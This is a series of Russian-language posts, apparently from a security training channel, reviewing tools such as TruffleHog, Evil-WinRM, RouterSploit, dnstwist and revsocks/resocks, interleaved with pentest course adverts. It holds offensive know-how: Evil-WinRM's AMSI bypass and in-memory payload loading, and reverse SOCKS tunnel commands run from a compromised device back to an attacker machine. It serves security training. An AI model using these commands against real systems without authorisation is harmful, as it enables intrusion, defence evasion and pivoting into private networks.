🐽TruffleHog: Утилита для Поиска Утечек Чувствительных Данных

TruffleHog — это мощный инструмент с открытым исходным кодом, предназначенный для поиска утечек чувствительных данных в исходных кодах, конфигурационных файлах и репозиториях, разработанный для выявления ключей API, паролей, токенов и других конфиденциальных данных.

Основные возможности TruffleHog
1⃣ Глубокое сканирование репозиториев:
TruffleHog проверяет весь коммит-историю репозитория, включая удаленные ветки. Это делает его полезным для обнаружения старых утечек данных, которые могут остаться незамеченными в течение длительного времени.
2⃣ Поиск секретов по шаблонам:
Инструмент использует регулярные выражения для обнаружения популярных типов секретов, таких как ключи AWS, токены Google Cloud, ключи Azure и другие.
3⃣ Детектирование на основе энтропии:
TruffleHog анализирует строки на высокую энтропию, что может свидетельствовать о наличии случайно сгенерированных токенов или паролей, даже если они не соответствуют известным шаблонам.
4⃣ Поддержка различных форматов данных:
Утилита работает с JSON, YAML и другими форматами, что делает ее универсальным инструментом для анализа конфигурационных файлов.

Установка и пример использования
🍺 Установка с использованием brew

brew install trufflehog

👩‍💻 Альтернативный вариант установки с использованием docker для Unix систем

docker run --rm -it -v "$PWD:/pwd" trufflesecurity/trufflehog:latest github --repo https://github.com/trufflesecurity/test_keys

😒 Пример использования

trufflehog git https://github.com/trufflesecurity/test_keys --results=verified,unknown

😈 Evil-WinRM

Утилита для удаленного подключения к компьютерам Windows с целью проведения тестирования на проникновение. Использует 5985 порт, предназначенный для протокола Windows Remote Management. WinRM — протокол, разработанный компанией Microsoft для удаленного управления и администрирования систем на базе Windows.

😡Установка и использование✔️:
Для работы утилиты требуется Ruby 2.3 или более поздняя версия. Также требуются некоторые библиотеки: winrm >=2.3.7, winrm-fs >=1.3.2, stringio >=0.0.2, logger >= 1.4.3, fileutils >= 0.7.2.

1️⃣ Установка непосредственно как библиотека Ruby: gem install evil-winrm. Запуск производится с помощью команды:
evil-winrm -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!'.

2️⃣ Ручная установка:

sudo gem install winrm winrm-fs stringio logger fileutils
git clone https://github.com/Hackplayers/evil-winrm.git

Для запуска необходимо ввести:
cd evil-winrm && ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!'.

3️⃣ Установка через bundler для изоляции зависимостей:

gem install bundler
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm && bundle install --path vendor/bundle

Запуск осуществляется через команду:
bundle exec evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!'

🔥Кроме предоставления удаленного доступа к устройству у инструмента есть следующие возможности :
⏺️upload - загрузка файлов с хоста, где запущен инструмент на удаленную машину. Для этого необходимо указывать абсолютный путь;
⏺️download - скачивает файлы с удаленной машины;
⏺️Invoke-Binary - позволяет выполнять сборки .Net в памяти;
⏺️Dll-Loader - позволяет загружать библиотеки DLL в память;
⏺️Donut-Loader - позволяет внедрять x64-полезные нагрузки;
⏺️Bypass-4MSI - патчит защиту AMSI;
⏺️services - список всех сервисов с указанием, есть ли у вашей учётной записи права доступа к каждому из них.

Друзья, уже сегодня в 19:00 по МСК пройдет бесплатный вебинар, где мы разберем, как модель Kill Chain помогает выстроить стратегию атаки, выявить уязвимости и повысить эффективность тестирования.

Что будет на вебинаре?
🔴 Покажем, как шаг за шагом проходит пентест: от перечисления сетевых служб до получения полного контроля над системой.

Спикер — Денис Соколов с опытом в ИБ >10 лет!
✨ Высшее образование по ИБ (КОИБАС).
✨ Старший архитектор ИБ, пентестер и разработчик киберполигонов.
✨ Автор и куратор курса “Профессия Пентестер” от Академии Кодебай.

Сегодня в 19:00 по МСК — рассмотрим системный подход к пентесту. 🔴 Регистрируйтесь здесь и получите ссылку на эфир и подарок в ответном письме.

🚀 По всем вопросам пишите @Codeby_Academy

▶️ Друзья, уже через час стартует бесплатный вебинар, где мы разберем, как модель Kill Chain помогает выстроить стратегию атаки, выявить уязвимости и повысить эффективность тестирования.

🔴 Покажем, как шаг за шагом проходит пентест: от перечисления сетевых служб до получения полного контроля над системой.

Вы еще успеваете присоединиться!
Через час — рассмотрим системный подход к пентесту. 🔴 Регистрируйтесь здесь и получите ссылку на эфир в ответном письме.

🚀 По всем вопросам пишите @Codeby_Academy

🖥😡 Evil-WinRM-ai

Всё тот же инструмент для удаленного подключения к машинам Windows, но теперь с поддержкой искусственного интеллекта!

📎 Установка:
Кроме основных библиотек для работы инструмента так же потребуется langchainrb >= 0.18.0, ollama-ai >= 1.3.0, anthropic >= 0.3.2, mistral-ai >= 1.2.0, ruby-openai >= 7.3.1.

⏺️Автоматическая установка: gem install evil-winrm-ai
⏺️Ручная:

sudo gem install winrm winrm-fs stringio logger fileutils langchainrb ollama-ai anthropic mistral-ai ruby-openai
git clone -b ai https://github.com/Hackplayers/evil-winrm.git

⏺️Изолированная:

sudo gem install winrm winrm-fs stringio logger fileutils langchainrb ollama-ai anthropic mistral-ai ruby-openai
git clone -b ai https://github.com/Hackplayers/evil-winrm.git

💥 Использование:
С помощью параметров --llm* можно взаимодействовать с языковыми моделями упрощая создание команд и предоставляя интеллектуальные предложения на основе ваших входных данных:
🌟llm LLM_NAME - имя LLM;
🌟llm-model LLM_MODEL_NAME - модель LLM;
🌟llm-url LLM_URL - URL - адрес службы LLM (используется Ollama и AzureOpenAI);
🌟llm-api-key LLM_API_KEY - ключ API LLM;
🌟llm-history - включить сохранение сгенерированных команд LLM в истории;
🌟llm-debug - включить ведение журнала LLM.

# Ollama, specifying an LLM model setting the URL of the listener containing the Ollama service
evil-winrm-ai -u Administrator -p 'MySuperSecr3tPass123!' -i 192.168.1.1 --llm ollama --llm-url 'http://192.168.1.2:11434' --llm-model llama3.1:latest

# OpenAI, specifying an LLM model and enabling the LLM commands history
evil-winrm-ai -u Administrator -p 'MySuperSecr3tPass123!' -i 192.168.1.1 --llm openai --llm-api-key 'x' --llm-history --llm-model gpt-4o

# Gemini, just using it enabling debug mode
evil-winrm-ai -u Administrator -p 'MySuperSecr3tPass123!' -i 192.168.1.1 --llm gemini --llm-api-key 'x' --llm-debug

# Mistral-AI, specifying an LLM model
evil-winrm-ai -u Administrator -p 'MySuperSecr3tPass123!' -i 192.168.1.1 --llm mistral-ai --llm-api-key 'x' --llm-model open-mistral-7b

После входа в оболочку Evil-WinRM с включённой функцией ИИ необходимо использовать префикс ai: для запроса у ИИ предложений по командам.
Например, ai:enumerate local users

8️⃣ Kubescape: Инструмент для оценки безопасности Kubernetes

Kubescape — это мощный инструмент с открытым исходным кодом, предназначенный для анализа безопасности Kubernetes-кластеров. Разработанный с целью упростить выявление уязвимостей и несоответствий конфигурации.

Основные возможности Kubescape
1️⃣ Анализ конфигураций Kubernetes
Kubescape сканирует манифесты Kubernetes, такие как Deployment, Service, Pod, ConfigMap и другие. Он ищет ошибки конфигурации, которые могут представлять угрозу безопасности, например:
➡️ Привилегированные контейнеры.
➡️ Отсутствие ограничений на использование ресурсов.
➡️ Открытые внешние сети.

2️⃣ Оценка соответствия стандартам безопасности
Инструмент поддерживает проверку на соответствие популярным стандартам, включая:
➡️ CIS Benchmarks (Center for Internet Security).
➡️ NSA и CISA Kubernetes Hardening Guidelines.
➡️ Собственные политики пользователей.

3️⃣ Интеграция с CI/CD
Kubescape легко интегрируется в конвейеры CI/CD, что позволяет обнаруживать и устранять уязвимости на ранних этапах разработки. Это помогает обеспечить безопасность перед развертыванием приложения в продакшене.

4️⃣ Графический интерфейс и отчетность
Помимо командной строки, Kubescape предоставляет удобный веб-интерфейс, который визуализирует результаты сканирования и облегчает анализ проблем.

5️⃣ Поддержка RBAC (Role-Based Access Control)
Kubescape анализирует роли и привилегии в кластере, определяя избыточные права доступа, которые могут быть использованы злоумышленниками.

🎮 Пример базового использования:

kubescape scan framework nsa --submit --exclude-namespaces kube-system

Эта команда сканирует кластер по рекомендациям NSA и исключает namespace kube-system.

⚙️ Примеры использования
➡️ Обнаружение неправильной конфигурации Pod’ов:
Если контейнеры запущены с привилегиями или без указания лимитов ресурсов, Kubescape предупреждает об этих проблемах.
➡️ Инструмент выявляет избыточные роли или нарушения принципа минимальных прав (Least Privilege).
➡️ Аудит соответствия стандартам:
Kubescape помогает поддерживать соответствие отраслевым требованиям, таким как PCI DSS или GDPR, в Kubernetes-кластере.

Semgrep 🔍

Инструмент статического анализа с открытым исходным кодом, который выполняет поиск в коде, находит ошибки и обеспечивает соблюдение безопасных ограничений и стандартов кодирования. Semgrep поддерживает более 30 языков и может работать в интегрированной среде разработки, в качестве проверки перед коммитом и в рамках рабочих процессов CI/CD.

🍏🖥 Установка:

# For macOS
brew install semgrep

# For Ubuntu/WSL/Linux/macOS
python3 -m pip install semgrep

Для запуска в автоматическом режиме необходимо перейти в корневой каталог проекта и использовать команду: semgrep --config "auto". Параметр config отвечает за выбор правил для сканирования. В режиме auto используются все публичные правила и сканирование начинается с текущей директории.

📋 Так же есть готовые наборы правил для проверки под разные задачи:

semgrep --config p/python
semgrep --config p/owasp-top-ten
semgrep --config p/cwe-top-25

Через параметр --exclude в командной строке можно исключить файлы или директории, которым не требуется сканирование.

🆒 Правила для Semgrep пишутся в формате YAML, что упрощает их создание и настройку. Можно использовать уже готовые правила, а можно создавать собственные. Пример использования кастомного правила для поиска операторов Python print():

Сохраняем этот файл с именем no_print.yaml и запускаем утилиту:

semgrep --config no_print.yaml <путь_к_коду>

💥 67% утечек связаны с SQL-инъекциями. Для пентестера важно находить SQL-уязвимости, так как они позволяют получить доступ к данным и компрометировать систему.

Где научиться обнаруживать SQL-уязвимость? — На курсе от Академии Кодебай! 😎 Запись до 30 марта. Регистрация здесь.

🗣️ На курсе подробно разберём эксплуатацию SQL-инъекций, одну из наиболее опасных и эксплуатируемых видов атак на веб-приложения. Аналогов по объему практики в СНГ и EN-cегменте нет.

Вы освоите:
🔸 базовый синтаксис языка запросов SQL
🔸 внедрение SQL-кода в уязвимые приложения
🔸 раскрутку SQL-инъекций вручную и софтом
🔸 способы защиты своих веб-приложений

🚀 По всем вопросам пишите @Codeby_Academy

Что такое RouterSploit?

RouterSploit — это открытый фреймворк для тестирования сетевых устройств на наличие уязвимостей. Он написан на Python и предлагает набор инструментов для сканирования, тестирования и эксплуатации уязвимостей. RouterSploit позволяет находить уязвимости как в домашних маршрутизаторах, так и в корпоративных сетевых устройствах, таких как коммутаторы, точки доступа и межсетевые экраны.

Этот инструмент вдохновлен популярным Metasploit Framework, но сосредоточен исключительно на устройствах сетевого уровня.

Основные возможности RouterSploit
1️⃣ Модули для эксплуатации уязвимостей:
RouterSploit включает модули, которые эксплуатируют известные уязвимости в прошивках сетевых устройств. Это позволяет проверить устройства на наличие незащищенных конфигураций или программных ошибок.
2️⃣ Модуль для сканирования
RouterSploit может сканировать сеть и идентифицировать устройства, их модели и версии прошивок.
3️⃣ Брутфорс-атаки:
Поддерживается автоматизированный подбор логинов и паролей для доступа к устройствам через протоколы Telnet, SSH, HTTP и другие.
4️⃣ Модули пост-эксплуатации:
После успешной атаки можно использовать дополнительные возможности, такие как захват данных, изменение конфигурации или запуск вредоносного кода.
5️⃣ Поддержка множества производителей:
Инструмент поддерживает устройства от компаний Cisco, MikroTik, Netgear, D-Link, TP-Link, Huawei, Juniper и многих других.

Архитектура и структура

RouterSploit разделен на несколько категорий модулей:
➡️ Exploit (Эксплуатация уязвимостей):
Модули, которые используют известные уязвимости, такие как обход авторизации, RCE (удаленное выполнение кода) или переполнение буфера.
➡️ Creds (Подбор учетных данных):
Модули для брутфорса учетных данных и проверки слабых паролей.
➡️ Scanners (Сканеры):
Автоматизированные модули для сканирования сетей и поиска уязвимых устройств.
➡️ Payloads (Полезная нагрузка):
Модули для выполнения кода или изменений конфигурации после успешной эксплуатации.
➡️ Generic (Общие модули):
Модули, которые не зависят от производителя или типа устройства.

⬇️ Установка RouterSploit
Инструмент доступен для систем на базе Linux, macOS и Windows.

1️⃣ Клонирование репозитория:

git clone https://github.com/threat9/routersploit.git
cd routersploit

2️⃣ Установка зависимостей:

pip install -r requirements.txt

3️⃣ Запуск RouterSploit:

python3 rsf.py

После запуска пользователь вы попадете в интерактивную оболочку, похожую на Metasploit.

🔽 dive 🐳

Инструмент для изучения образов Docker, содержимого слоёв и поиска способов уменьшить размер образа Docker/OCI.

💱 Установка:

DIVE_VERSION=$(curl -sL "https://api.github.com/repos/wagoodman/dive/releases/latest" | grep '"tag_name":' | sed -E 's/.*"v([^"]+)".*/\1/')
curl -OL https://github.com/wagoodman/dive/releases/download/v${DIVE_VERSION}/dive_${DIVE_VERSION}_linux_amd64.deb
sudo apt install ./dive_${DIVE_VERSION}_linux_amd64.deb

Для Windows можно использовать последнюю версию отсюда.

☄️ Основные возможности:
⏺️ Демонстрация содержимого изображения Docker в разбивке по слоям;
⏺️ Возможность видеть изменения в каждом слое;
⏺️ Оценка эффективного распределения места в образе;
⏺️ Быстрые циклы сборки / анализа засчёт возможности проведения сканирования при сборке образа.

🧐 Использование:
Для анализа образа Docker необходимо запустить инструмент и указать tag/id/digest:

dive <your-image-tag>

Также можно запустить инструмент непосредственно с помощью команды docker:

alias dive="docker run -ti --rm  -v /var/run/docker.sock:/var/run/docker.sock wagoodman/dive"
dive <your-image-tag>

# for example
dive nginx:latest

Или создать свой образ и сразу перейти к его анализу:

dive build -t <some-tag>

🤔 dnstwist

Инструмент предназначен для анализа предоставленного доменного имени с помощью алгоритмов фаззинга и позволяющий найти похожие домены, которые могут быть использованы в фишинговых атаках.

💻 Последнюю версию можно установить клонировав репозиторий:

git clone https://github.com/elceef/dnstwist.git
cd dnstwist
pip install .

😮 Использование:

Обычно генерируются тысячи комбинаций доменов, поэтому целесообразно отображать только те, которые зарегистрированы:

dnstwist --registered domain.name

С помощью аргумента --nameservers можно указать внешний DNS-сервер, который будет обрабатывать запросы.

Через аргумент --dictionary передается файл со словарем в случае, если результатов фаззинга не будет хватать.

Для проверки, существуют ли домены с другими TLD, необходимо предоставить файл со списком TLD:

dnstwist --tld dictionaries/common_tlds.dict domain.name

Кроме того, можно указывать необходимые алгоритмы фаззинга перечисляя их:

dnstwist --fuzzers "homoglyph,hyphenation" domain.name

Для простых перестановок без поиска DNS, используется аргумент --format list.

🚨Обнаружение фишинга:
Ручная проверка каждого доменного имени на предмет того, что оно ведёт на фишинговый сайт, может занять много времени. Для решения этой проблемы, dnstwist использует нечёткие хэши — концепция, которая позволяет сравнивать два входных параметра (HTML-код) и определять базовый уровень сходства и перцептивный хэш — отпечаток, полученный на основе визуальных характеристик изображения (скриншот веб-страницы).

dnstwist --lsh domain.name
dnstwist --phash domain.name

revsocks

Утилита, написанная на Go, которая реализует обратный SOCKS5 туннель с поддержкой SSL/TLS и прокси (без аутентификации прокси и с базовой/NTLM аутентификацией прокси. Поддерживается на всех ОС, есть поддержка туннелирования DNS, автоматическая генерация сертификата SSL / TLS, если не указано иное.

🚀 Установка:

# Build for Linux
git clone https://github.com/kost/revsocks
export GOPATH=~/go
go get github.com/hashicorp/yamux
go get github.com/armon/go-socks5
go get github.com/kost/go-ntlmssp
go build
go build -ldflags="-s -w" && upx --brute revsocks

⚙️ Принцип работы:
⏺️На сервере RevSocks запускается с параметром -listen, указывающим порт, на котором сервер будет принимать соединения от клиента и параметром -socks, задающим адрес SOCKS5-сервера (сервер ожидает входящего соединения от клиента и одновременно предоставляет SOCKS5-интерфейс для внешних подключений).
⏺️На клиенте инструмент запускается с параметром -connect, указывающим на адрес и порт сервера.
⏺️Клиент устанавливает исходящее TCP-соединение к серверу, которое мультиплексируется с помощью Yamux для обработки множества потоков.
⏺️SOCKS5-запросы от сервера передаются через туннель к клиенту, который выполняет их и возвращает данные.


💻 Использование:
Обратное TCP соединение с шифрованием TLS:

# Start on VPS
revsocks -listen :8443 -socks 127.0.0.1:1080 -pass SuperSecretPassword -tls
# Start on client 
revsocks -connect clientIP:8443 -pass SuperSecretPassword -tls

DNS туннель:

# Start on the DNS server
revsocks -dns example.com -dnslisten :53 -socks 127.0.0.1:1080 -pass <pass>
# Start on the target
revsocks -dns example.com -pass <pass>

🖥 6 способов защиты кода, о которых должен знать каждый разработчик

Тестирование безопасности — это не только сканеры и отчеты. В статье разбираем:
🔸 Тестирование на проникновение (пентест) прямо в процессе разработки
🔸 Как DAST и SAST находят разные классы уязвимостей
🔸 Фаззинг API - почему это must have для современных приложений
🔸 IAST — "золотая середина" между статикой и динамикой
🔸 Как APSM помогает поддерживать безопасность на постоянной основе

🔴Читать статью полностью
🔴Хотите больше практики? 65 реальных заданий по взлому — стартуем 3 апреля. Регистрация здесь.

🚀 Пишите @Codeby_Academy

🧦 resocks

Утилита, осуществляющая обратный/реверсивный прокси-туннель SOCKS5, который можно использовать для маршрутизации трафика через систему, к которой нельзя получить прямой доступ (например, из-за NAT). Канал защищён взаимно доверенным TLS с автоматически сгенерированными сертификатами на основе ключа подключения.

Актуальную версию можно скачать здесь.

✨ Использование:

1⃣ Запускаем листенер в системе, которая служит точкой входа в туннель SOCKS5 (атакующая машина):

# Оn proxy entry point system with IP 1.2.3.4
resocks listen

2⃣ В устройстве находящемся за NAT (скомпрометированное устройство) запускаем утилиту и передаем ключ:

# Оn remote relay system with IP 10.0.0.1
resocks 1.2.3.4 --key $CONNECTION_KEY

3⃣ Теперь необходимо настроить использование локального сервера SOCKS5, там где запущен листенер и передать IP цели, доступ к которой требуется получить:

curl --proxy 'socks5://127.0.0.1:1080' 'http://10.0.0.2'

В сравнении с другими инструментами (сhisel, ligolo и т.д.) resocks выделяется благодаря акценту на взаимной аутентификации через mTLS и удобству использования.